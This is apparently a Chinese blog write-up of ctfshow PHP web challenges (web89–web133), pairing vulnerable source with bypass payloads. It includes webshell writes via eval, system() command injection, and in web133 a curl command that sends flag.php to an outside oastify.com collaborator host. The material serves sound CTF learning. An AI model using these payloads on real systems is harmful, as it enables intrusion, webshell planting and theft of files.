ctfshow-web-php特性
本文最后更新于 6 天前,其中的信息可能已经有所发展或是发生改变。

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

数组绕过

Payload:

?num[]=1

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval是个取整数的函数

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

Payload:

?num=4476.0

web91

<?phpshow_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){    if(preg_match('/^php$/i', $a)){        echo 'hacker';    }    else{        echo $flag;    }}else{    echo 'nonononono';}Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

preg_match的一些模式:

i不区分大小写的匹配
m多行匹配,^ 和 $ 将匹配每一行的开头和结尾
s单行模式,. 可以匹配换行符
x忽略正则中的空白和注释
u强制按 UTF-8 处理字符
A强制从目标字符串的起始位置开始匹配(相当于模式以 ^ 开头)
D如果使用 $,不匹配换行符之后的位置
U非贪婪模式(反转量词的贪婪行为)

要拿到flag,需要第一次im(忽略大小写、多行模式)匹配时通过,第二次i(忽略大小写)匹配时不通过,可以利用多行模式,传入两行数据,一行有php,一行没有,就会使得在多行搜索php时搜索到结果,从而通过,而在单行搜索时搜不到结果,从而失败。

换行符:%0a

Payload:

?cmd=php%0aPHP

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

跟web90的区别在于if(intval($num,0)==4476)变成了弱比较,用指数绕过

Payload:

?num=4478e1

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

ban了所有字母,因为intval是个取传入数据的整数的函数,所以可以小数绕过

Payload:

?num=4476.3

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了个strpos函数,strpos() 函数查找字符串在另一字符串中第一次出现的位置。他会查找num传入数据中的“0”并返回位置,在第几位就返回几。如果0在首位,会返回“0”,在这里就变成了“!0”,仍然被识别为true,然后执行die,这里的0要出现在非首位。

Payload:

?num=4476.0

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

.给ban了,小数绕过行不通了,那就把目光投向intval函数的别的用法,这里base的参数仍然是0也就是自匹配进制,需要传入的数据带0,于是想到可以换别的进制来传入,16进制需要带0x前缀,“x”字符会被过滤,于是考虑8进制,但是8进制需要带0前缀,0在首位会die,于是在前面加个特殊字符

Payload:

?num=+010574

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

题目暗示了要传flag.php来读取,试着读取一个不存在的文件,抛出错误来看看现在在哪个路径

尝试发现flag不在根目录,那就应该在当前目录了,直接读取不行,那就利用Linux的特性用./代表当前目录

Payload:

?u=./flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

题目要求传入ab,两值不等,但是md5值相等,数组绕过,传入两个数组,值不等,md5后都为NULL,md5相等

Payload:

POST: a[]=1&b[]=2

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

GET有数据传入就会将变量引用指向POST,POST传入HTTP_FLAG=flag即可

Payload:

GET:
url?a=1 # 随便传,有就行
POST:
HTTP_FLAG=flag

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

首先,这段代码往数组里插入1-877之间的数字,然后进入in_array函数,将传入的n值进行搜索,看是否存在与数组相同的值

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

参数描述
needle必需。规定要在数组搜索的值。
haystack必需。规定要搜索的数组。
strict可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

这里第三个参数strict没设置,那么就会自动转换字符串为int,最后是个file_put_contents函数,可以以此写🐎

Payload:

GET:
?n=111.php # 数字在1-877中即可
POST:
content= <?php @eval($_POST['a']);?>

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

这里的is_numeric限定v1 必须是数字

运算符优先级:&& > || > = > and > or

逻辑运算符和赋值运算符连用时,往往允许存在先进行赋值运算,后再进行逻辑运算的顺序。

所以这里只需要v1是数字即可,=的优先级高于and

preg_match函数限定$v2 字符串不能含 ;$v3 字符串必须含 ;,中间包个注释符,注释掉中间的东西即可

Payload:

?v1=123&v2=system('nl *.php')/*&v3=*/;

找到hint的ctfshow类:

class ctfshow{ 
var $dalaoA,$dalaoB,$flag_is_a2d9edcf0x2d0adc0x2d4a220x2d99b00x2d0c3feb60084c;
}

喂给ai或者手动把0x2d换成-就出了

另解,直接访问输出$ctfshow,换0x2d-

?v1=123&v2=var_dump($ctfshow)/*&v3=*/;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

修复了web100的注释解法,hint已经告诉我们flag在一个类里了,多半这个类已经实例化过了,使用 ReflectionClass 建立反射类

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

Payload:

?v1=123&v2=echo new ReflectionClass&v3=;

flag最后一位少了,还要爆破一下,难蚌

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

主要是涉及几个函数:

is_numeric:检查数据是否为数字

substr:截取字符串

用法:

substr(string,sta rt,length)
参数描述
string必需。规定要返回其中一部分的字符串。
start必需。规定在字符串的何处开始。正数 – 在字符串的指定位置开始负数 – 在从字符串结尾开始的指定位置开始0 – 在字符串中的第一个字符处开始
length可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 – 从 start 参数所在的位置返回的长度负数 – 从字符串末端返回的长度

call_user_func:回调函数

call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

file_put_contents:写入文件函数

思路很明确,拼接攻击代码写入文件,需要注意v2会从第三位开始截取,而且得为数字不然过不了is_numeric检测,考虑编个码到时候再解,这里用的是hex2bin

is_numeric在5.x版本限制长度比较长,到了7.x就一般限制在18位了,题目还去了2位,这里卡了很久…

看wp发现精心构造了一个payload:<?=`cat *`;

先base64再hex,就变成了:5044383959474e6864434171594473

Payload:

GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin

另解:<?=`$_POST[0]`; -> 5044383959435266554539545646737758574137

web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

多了个正则,不过web102的解法仍然可用,试一下写🐎

Payload:

GET:
?v2=115044383959435266554539545646737758574137&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

emmmm……v1v2传一样的值就过了

Payload:

GET:
?v2=1
POST:
v1=1

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

见到了没见过的写法:foreach 循环 – 循环数组中每个元素的代码块。

这里的$$写法指的是覆盖复制,这题考的是变量覆盖,要拿到flag需要借助die输出flag。

有点绕,如果POST中有flag,会输出error内容,所以flag应该在GET中传入。覆盖顺序是先GET后POST所以是:flag=suces->error

Payload:

GET:
?suces=flag
POST:
error=suces

web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

sha1加密0e值:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

Payload:

GET:
?v2=aaK1STfY
POST:
v1=aaO8zKZF

数组绕过:

GET:
?v2[]=1
POST:
v1[]=2

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
?>

parse_str函数存在变量覆盖漏洞,v1会被解析,然后赋值给v2。但是这里有一个弱比较,['flag']会被当成数组吗,尝试了一下,确实是能用数组绕过这个弱比较

Payload:

GET:
?v3[]=2
POST:
v1=1

变量覆盖的打法:

GET:
?v3=QNKCDZO # 0e绕过:0e得到“0”
POST:
v1=flag=0

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

ereg函数:在字符串中搜索由模式指定的字符串,如果找到模式,则返回true,否则返回false。

strrev函数:反转字符串。

这个0x36d是十六进制,转成十进制是877。

从后往前推:传入的c的数字部分需要翻转一下,并且等于877,但是ereg函数写的规则不许出现数字,但是可以用%00截断

Payload:

?c=a%00778

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}
?>

出现了new,想到前面反射类的操作

Payload:

?v1=Reflectionclass&v2=system('cat *')

还有别的内置类解法,参考自ctfshow-wp:

{使用php自带的内置方法} {在php官方文档找到带有::__toString的后缀,这种是类} {我把带__toString的函数罗列一些出来} CachingIterator::__toString() DirectoryIterator::__toString Error::__toString Exception::__toString pyload: ?v1= CachingIterator&v2=system(ls) ?v1= DirectoryIterator&v2=system(ls) ?v1= Error&v2=system(ls) ?v1= Exception&v2=system(ls)

https://blog.csdn.net/qq_44657899/article/details/109558430

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}
?>

ban了一些符号和数字,不能直接靠反射类来rce了

可使用FilesystemIterator迭代器遍历目录

https://blog.csdn.net/chenrenchou1924/article/details/100999849

但是.被ban了,使用getcwd可以获取目录

Payload:

?v1=FilesystemIterator&v2=getcwd

就能知道flag叫fl36dga.txt,直接访问

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

v1要进正则,只能填ctfshow

ctfshow-wp:

注意 PHP 的函数具有词法作用域

在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:

  1. 我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值
  2. URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
  3. 要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

传入payload后,代码的执行会变成这样:

ctfshow = &GLOBALS;
var_dump($ctfshow);

相当于会把GLOBALS数组的内容全部输出

Payload:

GET:
?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

is_file:函数检查指定的文件名是否是正常的文件。

这里也就是不能直接传入一个文件名,ban了一些伪协议和过滤器,这里用php://filter伪协议过,换一个没被过滤的过滤器即可(这里可以直接不用过滤器输出)

1. 字符串过滤器(String Filters

过滤器说明
string.rot13对数据应用 ROT13 编码(常用于混淆文本)
string.toupper将所有字符转为大写
string.tolower将所有字符转为小写
string.strip_tags移除 HTML 和 PHP 标签

2. 转换过滤器(Conversion Filters

过滤器说明
convert.base64-encodeBase64 编码
convert.base64-decodeBase64 解码
convert.quoted-printable-encodequoted-printable 编码
convert.iconv.*字符编码转换(如 UTF-8 转 GBK)

3. 压缩与封装过滤器(Compression & Archiving)

过滤器说明
zlib.deflate压缩数据(使用 DEFLATE 算法)
zlib.inflate解压 DEFLATE 数据
bzip2.compress使用 BZIP2 压缩
bzip2.decompress解压 BZIP2 数据

4. 杂项过滤器(Miscellaneous)

过滤器说明
consumed记录读取/写入的数据长度
dechunk解码 HTTP 分块传输编码
mcrypt.*使用 mcrypt 库加密数据(PHP 7.2+ 已弃用)
openssl.*使用 OpenSSL 加密数据

Payload:

?file=php://filter/resource=flag.php

web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

filter协议被ban了,可以用zip伪协议

https://www.php.net/manual/zh/wrappers.compression.php

Payload:

?file=compress.zlib://flag.php

另解:

看wp发现了一种解法,目录溢出,也就是填入足够长的目录,长于is_file的处理长度,直接爆掉判断函数,/proc/self/root相当于根目录,最后再加上flag.php的绝对路径来读取。

Payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

ban了web102的解法,但是放出了filter伪协议

Payload:

?file=php://filter/resource=flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

str_replace :以其他字符替换字符串中的一些字符(区分大小写)。

trim :移除字符串两侧的空白字符或其他预定义字符。

对传入内容检测了,遇到屏蔽词会换成1,传入的内容不等于36,但转换后要等于36,主要是绕过trim函数

这里是需要一个不被trim移除的特殊符号

trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。

URL 编码参考手册:https://www.w3school.com.cn/tags/html_ref_urlencode.asp

Payload:

?num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

保证CTF_SHOW存在,CTF_SHOW.COM存在,但fl0g不存在,c 能过正则,则可以利用eval执行命令

这里涉及一个知识点:在php中变量名只有数字、字母、下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_。但如果传入[,它被转化为_之后,后面的字符就会被保留下来,不会被替换

POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

ban了web123用的echo,用highlight_file代替,不方便在fun里面写flag,写个拼接

Payload:

GET:
?a=flag.php
POST:
    CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[a])

web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

上一题的highlight_file在这题不能用了,$_SERVER['argv'] 是一个数组,包含所有传入的参数。

通过加号 + 分割 argv 成多个部分,也是为了得到 fl0g=flag_give_me ,其中 parse_str() 函数用来把查询字符串解析到变量中。

引用My6n师傅的文章:

这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET[‘fl0g’]) 仍然会返回 false,即没有检测到 fl0g 参数。

post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST[‘CTF_SHOW’]) && isset($_POST[‘CTF_SHOW.COM’]) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。

准确来说,此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’],$_SERVER[“QUERY_STRING”] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。

当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER[‘argv’] 中。

在这种配置下,$_SERVER[‘argv’][0] 包含了整个查询字符串,即 ‘$fl0g=flag_give_me;’。

在 eval(“$c;”); 中实际执行的是 eval(‘eval($a[0]);’);,因为 $a[0] 是 ‘$fl0g=flag_give_me;’,这相当于执行了 eval(‘$fl0g=flag_give_me;’);,这样就定义了变量 $fl0g 并赋值为 ‘flag_give_me’。

最后 判断 if($fl0g === “flag_give_me”),因为 $fl0g 被正确地设置为了 ‘flag_give_me’,所以这个条件为真,因此,echo $flag; 被执行,输出 $flag。

原文链接:https://blog.csdn.net/Myon5/article/details/140464776

Payload:

GET: 
?a=1+fl0g=flag_give_me
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

GET输入的他都会存进去,直接给ctf_show传值即可,但是要绕过waf

Payload:

?%63%74%66%5f%73%68%6f%77=ilove36d # urlencode绕过
?ctf show=ilove36d # 空格会被转换为_

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

这题太骚了,长长见识了

一个新的姿势,当php扩展目录下有php_gettext.dll时:

_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。

call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。

原文链接:https://blog.csdn.net/akxnxbshai/article/details/123192682

Payload:

?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos函数限定了需要带着ctfshow,构造个ctfshow目录,让他自行索引,后面穿越一下目录然后带上flag的绝对路径
Payload:

?f=/ctfshow/../var/www/html/flag.php

另解:

PHP对无法使用的filter过滤器只会抛出warning而不是error

Payload:

f=php://filter/ctfshow/resource=flag.php

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

分析正则表达式’/.+?ctfshow/is’ 后面的i表示大小写匹配,s表示忽略换行符,单行匹配

在不加转义字符的前提下,前面的点表示任意字符,而“+?”表示非贪婪匹配,即前面的字符至少出现一次

所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确

Payload:

f=ctfshow

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

以前打过的PCRE回溯,塞一百万个字符进去就能挤爆正则匹配

P神文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

Payload:

import requests
url="http://0d7658d6-eea4-4f08-be49-4bd642a47df9.challenge.ctf.show/"
data={
    'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

这里一开始猛猛飙红,后面发现是https的锅,换成http就没事了

web132

进去是个网页,没啥信息就开扫,扫出/adminrobots.txt(进去也是提示去找/admin

进到url/admin就能拿到源码:

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

php运算符优先级:&& > || > AND > OR,由于优先级的影响,按运算的先后顺序划分一下层次,实际上我们的代码会变成:

if ( ($code === mt_rand(1, 0x36D) && $password === $flag) || $username === "admin" )

也就是或符号前后任意一个满足即可,这里显然后面的条件更容易满足

Payload:

?username=admin&code=admin&password=1 # password随便填

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

开始想着nl *把数据弄出来,但是这里是eval无回显,锁了6字符,也弹不了shell,没做成

别的师傅wp用的是变量覆盖这里的$F

wp:https://blog.csdn.net/qq_46091464/article/details/109095382

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解

curl用法:https://www.ruanyifeng.com/blog/2019/09/curl-reference.html

就是套娃把$F赋值`$F`;+command,然后这个语句就替换到php里执行起来了

Payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  k2nss3ahye43myhvvljj9mtn8ee52vqk.oastify.com
#-F:以带有文件的形式发送post请求
#xx是上传文件的name

又学到一招,bp自带的Collborator,相当于DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies

